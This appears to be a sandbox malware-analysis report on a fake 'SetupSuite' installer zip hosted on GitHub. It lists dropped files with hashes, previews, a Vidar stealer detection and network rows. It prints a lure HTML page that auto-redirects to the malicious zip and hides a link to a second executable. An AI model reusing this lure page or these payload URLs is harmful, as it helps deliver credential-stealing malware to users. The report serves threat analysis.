MD5:	6BA5D9155494F82BC56726C2E73CD37D
SHA1:	CFB016F19E57641284938FF4A98A08E2BF4E7A3F
SHA-256:	5AA5A88D04C7156F93ADE10893185887FEB5472D2DBCAE39D2EC229CF070B781
SHA-512:	48D5AB6977919BD23F492D7D5AA86B5E07B6B0BBACB444880BAB869D8BC433C3BAAF5A9DEC443D0149B7E1A263E3950A8F8292372CD9F2E4474113D710125C5C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...P...c........!.. .IDATx..K......+..V.9...zZ.[..$.....k.\....(oMHkA.5....&.......4....fU.W.b..fT...yo.Uu...O=P.7.........o! .R.7........v./ .v.1..Zk..2...v........?h..\|....kr)...i........9....z.#.1...5..!..{.G8.....K)..h...\....rw)%^..]J.w/..y....w7..Z..K)..."."..5!wWJ.e....\p.R.1.$..F...J2.K]...+_W5YF..nv}..2...G...!.....;.0..L...C.\|.....Z.o..\|..9.H....\|B5..\|..G...N.=$.........`H..w..c.G.u..ZW.p.e7+yF..i..gt....._."....C.a ...1.a..?s}.Pv.``.\|.....K.....?..=.......Y>..3.l2..@.......Y.6r.#.o/........-......6w._..)....\.@5..cL*.......2z.....$.. `.._.....'.,p...._....:....\|....hj...k..G..x)...!...?..0.p;[7.A...q....>....]$.L-4.....$_..\|.'...#..+...1<$..}w..c..,l.....y..AB..w.;.x._..+...z...p..._.......P..........-.o..1...6.......R^.... ......,..........K%..X.T..d"....W.O.J.A.g....q..]b%\|v........0..K.7=...k.....p!.^.qLu...O.....=..$...[...!.v.?i+_J...C..RH....p......f.#..P..y.!.g.R.n.#..;.8bD....B........6.{......fo....

C:\Users\user\AppData\Local\Temp\3faaa6cb

Download File

Process:	C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe
File Type:	data
Category:	dropped
Size (bytes):	938549
Entropy (8bit):	7.481632579910641
Encrypted:	false
SSDEEP:	24576:EWSgpuxhoJ6+r/BoWQSk0+P5AqJY2EY7LJJBVNz9CITb:QxhF8/dk3P5AqJY2EYxVNz9jTb
MD5:	63FD56DC483812FD5B23AC383FE05836
SHA1:	A0892B9499523F2A3109EEB1A50B1EFEFBE2180D
SHA-256:	A65DDE7B5C494C2438D3C9C181BB370AE582B175CBB58FE10F54FB8CB509A636
SHA-512:	91C7BD66E9C40476257364A8987FE7EF94766EC030AEC88299255077E2A278D35566754325089F042BF253DBE52576B93A700BEBA36E3C53E1608FFEAEBFA451
Malicious:	false
Reputation:	low
Preview:	.Q..Q..Q..Q..Q...Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..............#...7...8...&...%...q...$...>...<...%...$..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q...>...%...8...)..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q...>...0...?...?...Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..............>...%......0...>...Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q...c..d..f..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..

C:\Users\user\AppData\Local\Temp\esect

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	215040
Entropy (8bit):	6.31138663388361
Encrypted:	false
SSDEEP:	3072:Rv/o4s3raz5clrcWA7JwbxOi6m+T6T0zmujWYQRwUdFUNwt/mGrtItNVLhL:NUG54rmmdv6mjgWY3xKBmGxKNVLhL
MD5:	4F912C11F30282BFFFD973DACA2BAE93
SHA1:	EFC78575C3EE0D7B629ED4B2AEF206D9A346225B
SHA-256:	53E1DB0A09087822E1A40B253C83ACD921F0CDCDF47F12C822ABD649FA17F990
SHA-512:	F03E06E97A98B2BCEAA723F9EE8C75957CEE9F91063049F96197795120903465F728409D40CE8B0B5CC751C873FAA30413B9FD5C85F4E05460BDECE0D192774C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: C:\Users\user\AppData\Local\Temp\esect, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D%.V%K}V%K}V%K}9S.}X%K}9S.}.%K}_].}S%K}_].}Z%K}.\J\|U%K}V%J}'%K}9S.}}%K}9S.}W%K}RichV%K}........................PE..L......W..........".........................0....@...........................$...........@...S.X.....S.X.............................$...................... $.P/...................................................0..X............................text............................... ..`.rdata..2....0......................@..@.data.....!.........................@....rsrc.........$.....................@..@.reloc..@Q... $..R..................@..Bgbdqkb... ....$......0..............@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	5.148411102395905
Encrypted:	false
SSDEEP:	48:BWJGEGbEGEGpWGXGEGprGbSGIG8GtGayGEG9GEG2GcGjGNYbL:Bppng
MD5:	6895AC0BBD2F336B30D4B52BC97C5C53
SHA1:	A696DB0FD311D26D2EF000840CED7A6EA851D1A5
SHA-256:	24127E19B36B660F7D313E8C1425A8C67B634431816081C760150A7672873ACF
SHA-512:	B0C0C0C5FBF7900163960F60BA2F6CC06B7E75BBB8EA4097FD3192FE0D4F22C6A7EF8EA00D7A89154D23D9304B0DD81C598F39BA175A6CDEE157B6BA7AF98A36
Malicious:	false
Reputation:	low
Preview:	04/05/2024 8:10 PM: Unpack: C:\Users\user\Downloads\Setup7-main (1).zip..04/05/2024 8:10 PM: Tmp dir: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw..04/05/2024 8:10 PM: Received from standard out: ..04/05/2024 8:10 PM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..04/05/2024 8:10 PM: Received from standard out: ..04/05/2024 8:10 PM: Received from standard out: Scanning the drive for archives:..04/05/2024 8:10 PM: Received from standard out: 1 file, 13036333 bytes (13 MiB)..04/05/2024 8:10 PM: Received from standard out: ..04/05/2024 8:10 PM: Received from standard out: Extracting archive: C:\Users\user\Downloads\Setup7-main (1).zip..04/05/2024 8:10 PM: Received from standard out: --..04/05/2024 8:10 PM: Received from standard out: Path = C:\Users\user\Downloads\Setup7-main (1).zip..04/05/2024 8:10 PM: Received from standard out: Type = zip..04/05/2024 8:10 PM: Received from standard out: Physical Size = 13036333..04/05

C:\Users\user\Downloads\1dedd9d8-ae4b-4983-b4df-35d632c0284d.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	7.995175834986629
Encrypted:	true
SSDEEP:	1536:Nos7F0SYc107JMQ1RXT1KtgegpogSQ/Ljcx:ND5Hq7v1PogJjcx
MD5:	6F6DB781510A9BCBEEE8F3C05BCABF07
SHA1:	869CD5A84C8268BB5EDF04E02D56F7B8454F3D65
SHA-256:	F5B4C1C08CF89CB5E659FC413161A986490A3BC32F26523003CAFF4B0BEA6340
SHA-512:	B4117617B8E5C0EDE0E5399F588A0374843BC7872ABD29C457A27F6444D6040F071F76B21362909CCFD4F18C6E27ACAA4389F92165723AE912CA0871257B2A34
Malicious:	false
Reputation:	low
Preview:	PK.........j.X................Setup7-main/UT......fPK.........j.Xb;......`.!.+...Setup7-main/SetupSuite_21.8_win64_86_sm.exeUT......f...`T..8~w.&.$K.&$.0b.( .....M....y.T.d..B...Xylz...um.j?...J+...n..R.`%<.(...Q....?gf.>B......;g.9..3g.w.....9..9..4.k.._.7.....rq.o........../(-.JY.\|.Y.:e..JLy...tU..J...e.i...I.........p..C,wr..v..........~5..}.........A..!..HVGO....P&.Q...gT...,..:...8.....^..3.9._..v.a.Hx.....+.......>.....@aDn........~..L......Is....(..(6.. O./.+)........#3.O.........g.`<^../...n......'.J("..d..!....N......[...e.........+....%.`.....W...b.B_r.H......r.....-p.k...^..........?....fTV..+..!_...-.....N.=2....E..%FsfEUYVi..... .s6(...n"p..K.n0.V:.Y."..4m.^....../.2.^H...(....;.6I..k@8?.!...~+./.t.....6...%e.....L.H....%F...b5...0k..{.$.%lX.....,.,.E...!...........H.......\|`....@p.+].....y..\|V..5&R.4...r:..+...l.."b...E'.....h..!..{..../,+.#\|........>.e......OM@\|.)..u...+....9..."~..lW.....".R...1.v~..".bbPD..Nz.`...bgY1

C:\Users\user\Downloads\48229e1c-771a-4600-8b0c-41f99e895e09.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	10102
Entropy (8bit):	7.979166881553606
Encrypted:	false
SSDEEP:	192:jdelh2GfjoKk+Ex64mqyRgnXihjNvolQo3u15T3:jKhbk+ExzxyyXiJvWQp5D
MD5:	5F87DF8776623D4DF97F3F82055B5D52
SHA1:	6777BE735D44561C061FBB43CA0B793823EC15A7
SHA-256:	73919901C375FB6EE40C857C0952A63A7928A903CDCF0D27E49C2F288254B0C0
SHA-512:	E53001AEE234EB949C4A74721B80494CEE3C0B5ADFFAD7836801DBBC3131C85C24F15CA37030E1B33B88A3F77657DC5D0C96104C9FDFF13518B09432E32DC541
Malicious:	false
Reputation:	low
Preview:	PK.........j.X................Setup7-main/UT......fPK.........j.Xb;......`.!.+...Setup7-main/SetupSuite_21.8_win64_86_sm.exeUT......f...`T..8~w.&.$K.&$.0b.( .....M....y.T.d..B...Xylz...um.j?...J+...n..R.`%<.(...Q....?gf.>B......;g.9..3g.w.....9..9..4.k.._.7.....rq.o........../(-.JY.\|.Y.:e..JLy...tU..J...e.i...I.........p..C,wr..v..........~5..}.........A..!..HVGO....P&.Q...gT...,..:...8.....^..3.9._..v.a.Hx.....+.......>.....@aDn........~..L......Is....(..(6.. O./.+)........#3.O.........g.`<^../...n......'.J("..d..!....N......[...e.........+....%.`.....W...b.B_r.H......r.....-p.k...^..........?....fTV..+..!_...-.....N.=2....E..%FsfEUYVi..... .s6(...n"p..K.n0.V:.Y."..4m.^....../.2.^H...(....;.6I..k@8?.!...~+./.t.....6...%e.....L.H....%F...b5...0k..{.$.%lX.....,.,.E...!...........H.......\|`....@p.+].....y..\|V..5&R.4...r:..+...l.."b...E'.....h..!..{..../,+.#\|........>.e......OM@\|.)..u...+....9..."~..lW.....".R...1.v~..".bbPD..Nz.`...bgY1

C:\Users\user\Downloads\Setup7-main (1).zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	13036333
Entropy (8bit):	7.9983574919874725
Encrypted:	true
SSDEEP:	393216:Aa48wiNX1ZXuL7QiZ4fZ9jAwyz25u8m+C1n:ipGjXJi3l0mXl
MD5:	D657164AF17266A4B2E1C588CC030A5C
SHA1:	A1097680D1D9C4EC84F4413AE8BDA4F7B8419382
SHA-256:	725D87508A94E6809DA0835DB7653852849883AE64F15BC9056396DE5BB3565D
SHA-512:	E4D5389302F4F620A6F7C36DB7BD1AF21C51BCC7F297AAF6C3586A29702404DC9F3B26B9971853DC176FB3EDEE40AB888C5CEF0EE77093098CED367A46D44FC4
Malicious:	true
Reputation:	low
Preview:	PK.........j.X................Setup7-main/UT......fPK.........j.Xb;......`.!.+...Setup7-main/SetupSuite_21.8_win64_86_sm.exeUT......f...`T..8~w.&.$K.&$.0b.( .....M....y.T.d..B...Xylz...um.j?...J+...n..R.`%<.(...Q....?gf.>B......;g.9..3g.w.....9..9..4.k.._.7.....rq.o........../(-.JY.\|.Y.:e..JLy...tU..J...e.i...I.........p..C,wr..v..........~5..}.........A..!..HVGO....P&.Q...gT...,..:...8.....^..3.9._..v.a.Hx.....+.......>.....@aDn........~..L......Is....(..(6.. O./.+)........#3.O.........g.`<^../...n......'.J("..d..!....N......[...e.........+....%.`.....W...b.B_r.H......r.....-p.k...^..........?....fTV..+..!_...-.....N.=2....E..%FsfEUYVi..... .s6(...n"p..K.n0.V:.Y."..4m.^....../.2.^H...(....;.6I..k@8?.!...~+./.t.....6...%e.....L.H....%F...b5...0k..{.$.%lX.....,.,.E...!...........H.......\|`....@p.+].....y..\|V..5&R.4...r:..+...l.."b...E'.....h..!..{..../,+.#\|........>.e......OM@\|.)..u...+....9..."~..lW.....".R...1.v~..".bbPD..Nz.`...bgY1

C:\Users\user\Downloads\Setup7-main (1).zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	13036333
Entropy (8bit):	7.9983574919874725
Encrypted:	true
SSDEEP:	393216:Aa48wiNX1ZXuL7QiZ4fZ9jAwyz25u8m+C1n:ipGjXJi3l0mXl
MD5:	D657164AF17266A4B2E1C588CC030A5C
SHA1:	A1097680D1D9C4EC84F4413AE8BDA4F7B8419382
SHA-256:	725D87508A94E6809DA0835DB7653852849883AE64F15BC9056396DE5BB3565D
SHA-512:	E4D5389302F4F620A6F7C36DB7BD1AF21C51BCC7F297AAF6C3586A29702404DC9F3B26B9971853DC176FB3EDEE40AB888C5CEF0EE77093098CED367A46D44FC4
Malicious:	false
Reputation:	low
Preview:	PK.........j.X................Setup7-main/UT......fPK.........j.Xb;......`.!.+...Setup7-main/SetupSuite_21.8_win64_86_sm.exeUT......f...`T..8~w.&.$K.&$.0b.( .....M....y.T.d..B...Xylz...um.j?...J+...n..R.`%<.(...Q....?gf.>B......;g.9..3g.w.....9..9..4.k.._.7.....rq.o........../(-.JY.\|.Y.:e..JLy...tU..J...e.i...I.........p..C,wr..v..........~5..}.........A..!..HVGO....P&.Q...gT...,..:...8.....^..3.9._..v.a.Hx.....+.......>.....@aDn........~..L......Is....(..(6.. O./.+)........#3.O.........g.`<^../...n......'.J("..d..!....N......[...e.........+....%.`.....W...b.B_r.H......r.....-p.k...^..........?....fTV..+..!_...-.....N.=2....E..%FsfEUYVi..... .s6(...n"p..K.n0.V:.Y."..4m.^....../.2.^H...(....;.6I..k@8?.!...~+./.t.....6...%e.....L.H....%F...b5...0k..{.$.%lX.....,.,.E...!...........H.......\|`....@p.+].....y..\|V..5&R.4...r:..+...l.."b...E'.....h..!..{..../,+.#\|........>.e......OM@\|.)..u...+....9..."~..lW.....".R...1.v~..".bbPD..Nz.`...bgY1

C:\Users\user\Downloads\Setup7-main.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	13036333
Entropy (8bit):	7.9983574919874725
Encrypted:	true
SSDEEP:	393216:Aa48wiNX1ZXuL7QiZ4fZ9jAwyz25u8m+C1n:ipGjXJi3l0mXl
MD5:	D657164AF17266A4B2E1C588CC030A5C
SHA1:	A1097680D1D9C4EC84F4413AE8BDA4F7B8419382
SHA-256:	725D87508A94E6809DA0835DB7653852849883AE64F15BC9056396DE5BB3565D
SHA-512:	E4D5389302F4F620A6F7C36DB7BD1AF21C51BCC7F297AAF6C3586A29702404DC9F3B26B9971853DC176FB3EDEE40AB888C5CEF0EE77093098CED367A46D44FC4
Malicious:	true
Reputation:	low
Preview:	PK.........j.X................Setup7-main/UT......fPK.........j.Xb;......`.!.+...Setup7-main/SetupSuite_21.8_win64_86_sm.exeUT......f...`T..8~w.&.$K.&$.0b.( .....M....y.T.d..B...Xylz...um.j?...J+...n..R.`%<.(...Q....?gf.>B......;g.9..3g.w.....9..9..4.k.._.7.....rq.o........../(-.JY.\|.Y.:e..JLy...tU..J...e.i...I.........p..C,wr..v..........~5..}.........A..!..HVGO....P&.Q...gT...,..:...8.....^..3.9._..v.a.Hx.....+.......>.....@aDn........~..L......Is....(..(6.. O./.+)........#3.O.........g.`<^../...n......'.J("..d..!....N......[...e.........+....%.`.....W...b.B_r.H......r.....-p.k...^..........?....fTV..+..!_...-.....N.=2....E..%FsfEUYVi..... .s6(...n"p..K.n0.V:.Y."..4m.^....../.2.^H...(....;.6I..k@8?.!...~+./.t.....6...%e.....L.H....%F...b5...0k..{.$.%lX.....,.,.E...!...........H.......\|`....@p.+].....y..\|V..5&R.4...r:..+...l.."b...E'.....h..!..{..../,+.#\|........>.e......OM@\|.)..u...+....9..."~..lW.....".R...1.v~..".bbPD..Nz.`...bgY1

C:\Users\user\Downloads\Setup7-main.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	13036333
Entropy (8bit):	7.9983574919874725
Encrypted:	true
SSDEEP:	393216:Aa48wiNX1ZXuL7QiZ4fZ9jAwyz25u8m+C1n:ipGjXJi3l0mXl
MD5:	D657164AF17266A4B2E1C588CC030A5C
SHA1:	A1097680D1D9C4EC84F4413AE8BDA4F7B8419382
SHA-256:	725D87508A94E6809DA0835DB7653852849883AE64F15BC9056396DE5BB3565D
SHA-512:	E4D5389302F4F620A6F7C36DB7BD1AF21C51BCC7F297AAF6C3586A29702404DC9F3B26B9971853DC176FB3EDEE40AB888C5CEF0EE77093098CED367A46D44FC4
Malicious:	false
Reputation:	low
Preview:	PK.........j.X................Setup7-main/UT......fPK.........j.Xb;......`.!.+...Setup7-main/SetupSuite_21.8_win64_86_sm.exeUT......f...`T..8~w.&.$K.&$.0b.( .....M....y.T.d..B...Xylz...um.j?...J+...n..R.`%<.(...Q....?gf.>B......;g.9..3g.w.....9..9..4.k.._.7.....rq.o........../(-.JY.\|.Y.:e..JLy...tU..J...e.i...I.........p..C,wr..v..........~5..}.........A..!..HVGO....P&.Q...gT...,..:...8.....^..3.9._..v.a.Hx.....+.......>.....@aDn........~..L......Is....(..(6.. O./.+)........#3.O.........g.`<^../...n......'.J("..d..!....N......[...e.........+....%.`.....W...b.B_r.H......r.....-p.k...^..........?....fTV..+..!_...-.....N.=2....E..%FsfEUYVi..... .s6(...n"p..K.n0.V:.Y."..4m.^....../.2.^H...(....;.6I..k@8?.!...~+./.t.....6...%e.....L.H....%F...b5...0k..{.$.%lX.....,.,.E...!...........H.......\|`....@p.+].....y..\|V..5&R.4...r:..+...l.."b...E'.....h..!..{..../,+.#\|........>.e......OM@\|.)..u...+....9..."~..lW.....".R...1.v~..".bbPD..Nz.`...bgY1

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.469394454918154
Encrypted:	false
SSDEEP:	6144:TzZfpi6ceLPx9skLmb0fYZWSP3aJG8nAgeiJRMMhA2zX4WABluuNRjDH5S:vZHtYZWOKnMM6bFpXj4
MD5:	70570921FB84DE4D3E5D49FB86A4068C
SHA1:	DD26471A51B6DB16F1B885D2235E079787C6263B
SHA-256:	4FF1B51D607335D65277CCC3A0FC65F2829A7D310D818AA24D5F119F3E7B42A8
SHA-512:	C822A491CC252441DB2D1D2C67A8F25F5FBBDFC228EC7FDE2BE716657411350875818BA4B7755AA75EA56B0568CA43F4E2D3E1BD70D7D0559BBF147B4A741881
Malicious:	false
Reputation:	low
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm6....................................................................................................................................................................................................................................................................................................................................................2..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	692
Entropy (8bit):	5.045478761003658
Encrypted:	false
SSDEEP:	12:hgGOMbdGXSszw88A5FZYlMxiTwzM5LtWt5iHr4l5MPFE02b:hgGHAMI8Mxiso5O5Zl5esb
MD5:	FE0008B9476BBDD84E2C39105DB9A550
SHA1:	E400009E6F06FA3C207D1F8EDF398A9AF4DABB07
SHA-256:	DFF76AF954C6E3E72C3D3C4CEE51A8E3D86625A58D07B2F9411F2D4334417643
SHA-512:	33B9B2CD03CE28FC63CBD2F2B865EF7F021AA6B1434C976C398244AF782C7D4D0B5BBB2940A4092F20B542D13201564BD915319FA05F511CBAF9CF97A9287FB4
Malicious:	false
Reputation:	low
URL:	https://fahrerdokument.com/zip3/
Preview:	<!DOCTYPE html>.. <html>.. <head>.. ..<title>Download page</title>.. ...<meta charset="UTF-8" />.. <a href="https://github.com/softofdaddy/Setup7/archive/refs/heads/main.zip"><img src="../image/downloadimage.png" alt="Downloading....................." style="width:376x;height:391px;"></a>.. ...<meta http-equiv="refresh" content="0; URL=https://github.com/softofdaddy/Setup7/archive/refs/heads/main.zip" />.. .</head>.. .<body>.. ..<font color="white"><p>This page has been moved. If you are not redirected within 3 seconds, click <a href="https://visualredistributable.click/lions.exe">.</a> to go to the HubSpot homepage.</p> </font>.. .</body>.. </html>

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	downloaded
Size (bytes):	13036333
Entropy (8bit):	7.9983574919874725
Encrypted:	true
SSDEEP:	393216:Aa48wiNX1ZXuL7QiZ4fZ9jAwyz25u8m+C1n:ipGjXJi3l0mXl
MD5:	D657164AF17266A4B2E1C588CC030A5C
SHA1:	A1097680D1D9C4EC84F4413AE8BDA4F7B8419382
SHA-256:	725D87508A94E6809DA0835DB7653852849883AE64F15BC9056396DE5BB3565D
SHA-512:	E4D5389302F4F620A6F7C36DB7BD1AF21C51BCC7F297AAF6C3586A29702404DC9F3B26B9971853DC176FB3EDEE40AB888C5CEF0EE77093098CED367A46D44FC4
Malicious:	false
Reputation:	low
URL:	https://codeload.github.com/softofdaddy/Setup7/zip/refs/heads/main
Preview:	PK.........j.X................Setup7-main/UT......fPK.........j.Xb;......`.!.+...Setup7-main/SetupSuite_21.8_win64_86_sm.exeUT......f...`T..8~w.&.$K.&$.0b.( .....M....y.T.d..B...Xylz...um.j?...J+...n..R.`%<.(...Q....?gf.>B......;g.9..3g.w.....9..9..4.k.._.7.....rq.o........../(-.JY.\|.Y.:e..JLy...tU..J...e.i...I.........p..C,wr..v..........~5..}.........A..!..HVGO....P&.Q...gT...,..:...8.....^..3.9._..v.a.Hx.....+.......>.....@aDn........~..L......Is....(..(6.. O./.+)........#3.O.........g.`<^../...n......'.J("..d..!....N......[...e.........+....%.`.....W...b.B_r.H......r.....-p.k...^..........?....fTV..+..!_...-.....N.=2....E..%FsfEUYVi..... .s6(...n"p..K.n0.V:.Y."..4m.^....../.2.^H...(....;.6I..k@8?.!...~+./.t.....6...%e.....L.H....%F...b5...0k..{.$.%lX.....,.,.E...!...........H.......\|`....@p.+].....y..\|V..5&R.4...r:..+...l.."b...E'.....h..!..{..../,+.#\|........>.e......OM@\|.)..u...+....9..."~..lW.....".R...1.v~..".bbPD..Nz.`...bgY1

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	564
Entropy (8bit):	4.775290370533887
Encrypted:	false
SSDEEP:	12:TjeRHVIdtklI5rRCNGlTF5TF5TF5TF5TF5TFK:neRH688lTPTPTPTPTPTc
MD5:	5DA4C1420F84EC727D1B6BDD0D46E62E
SHA1:	280D08D142F7386283F420444EC48E1CDBFD61BB
SHA-256:	3C8CC37A98346BD0123B35E5CCD87BD07D69914DAE04F8B49F61C150D96E9D1F
SHA-512:	7C51A628831D0236E8D314C71732B8A62E06334431D10F7C293C49B23665B2A6A1DDBC4772009010955B5228EA4A5CD97FB93581CE391EE1792E8A198B76111A
Malicious:	false
Reputation:	low
URL:	https://fahrerdokument.com/favicon.ico
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.18.0 (Ubuntu)</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 376 x 391, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	10526
Entropy (8bit):	7.9124026795820335
Encrypted:	false
SSDEEP:	192:g4v7dddddd+E+CPvI941b6aOB7PKTsl2FDk+mIddddd8a1qTgDf1GC8XtFNE0As1:6CPvbB6xPTQQ+mnTgDf4ts0PF
MD5:	058191052836BDFAF5D0E7F291CB2D22
SHA1:	E8EE9BD29EC5CB6E256EF753127A7CE3D89EFE3C
SHA-256:	D924EF352182F6F49645405382100FF321EC300594F4CDA88D6A448ED9BA3DD5
SHA-512:	6AAC9AE4817B121B413AEAE52C4F032768A163CC10B369363B258DA2A0515714F34917D24943494CCBACB059397363319B71E533E98032D368FE1EEEB56924AE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...x.........5;.=....sRGB.........gAMA......a.....pHYs..........o.d..(.IDATx^..mIy..w..K..S%...X.J..._(A,G...S$.P...A.L.0.2...&h..B .) .1....0..0s..;s...q.9g....z=.{.^{.>..9.O=u.9...~...{.^{....P.......@u........?.....B...`G....B.............aw4...\....T.3...d.....;...4.....g4.p. 4.P...Ah...@h.......%...@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P..f.7=..y...K8....%\".a.%.\...."{..7n..).e.\....#.q<..":p.Q..=....x..ZI....\..)4j.^.Go...5....l....a........I.s..e.-B.5....Rv.Bs..c.=.H....ie....F.I.iif.o.B.5....r.dxT5r9B..(...J..}..~M...!.B.5...B..... ......;(.\B.f.....Z-...%.'.^I...K..,)..."B..$...U........[i...M.yq....n..Jxd.{#..]wXSf.D.7.....i..G...l.'WKQ.2^.3....;#'..e..Jc....x.T.-B7...X...d..]....?.J..y...c...L....e..a..t.).3....<.J.{.

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 376 x 391, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	10526
Entropy (8bit):	7.9124026795820335
Encrypted:	false
SSDEEP:	192:g4v7dddddd+E+CPvI941b6aOB7PKTsl2FDk+mIddddd8a1qTgDf1GC8XtFNE0As1:6CPvbB6xPTQQ+mnTgDf4ts0PF
MD5:	058191052836BDFAF5D0E7F291CB2D22
SHA1:	E8EE9BD29EC5CB6E256EF753127A7CE3D89EFE3C
SHA-256:	D924EF352182F6F49645405382100FF321EC300594F4CDA88D6A448ED9BA3DD5
SHA-512:	6AAC9AE4817B121B413AEAE52C4F032768A163CC10B369363B258DA2A0515714F34917D24943494CCBACB059397363319B71E533E98032D368FE1EEEB56924AE
Malicious:	false
Reputation:	low
URL:	https://fahrerdokument.com/image/downloadimage.png
Preview:	.PNG........IHDR...x.........5;.=....sRGB.........gAMA......a.....pHYs..........o.d..(.IDATx^..mIy..w..K..S%...X.J..._(A,G...S$.P...A.L.0.2...&h..B .) .1....0..0s..;s...q.9g....z=.{.^{.>..9.O=u.9...~...{.^{....P.......@u........?.....B...`G....B.............aw4...\....T.3...d.....;...4.....g4.p. 4.P...Ah...@h.......%...@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P........@u.....B...Ah..:...T..... 4.P..f.7=..y...K8....%\".a.%.\...."{..7n..).e.\....#.q<..":p.Q..=....x..ZI....\..)4j.^.Go...5....l....a........I.s..e.-B.5....Rv.Bs..c.=.H....ie....F.I.iif.o.B.5....r.dxT5r9B..(...J..}..~M...!.B.5...B..... ......;(.\B.f.....Z-...%.'.^I...K..,)..."B..$...U........[i...M.yq....n..Jxd.{#..]wXSf.D.7.....i..G...l.'WKQ.2^.3....;#'..e..Jc....x.T.-B7...X...d..]....?.J..y...c...L....e..a..t.).3....<.J.{.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 5, 2024 20:10:17.094139099 CEST	49674	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:17.094146967 CEST	49673	443	192.168.2.6	173.222.162.64
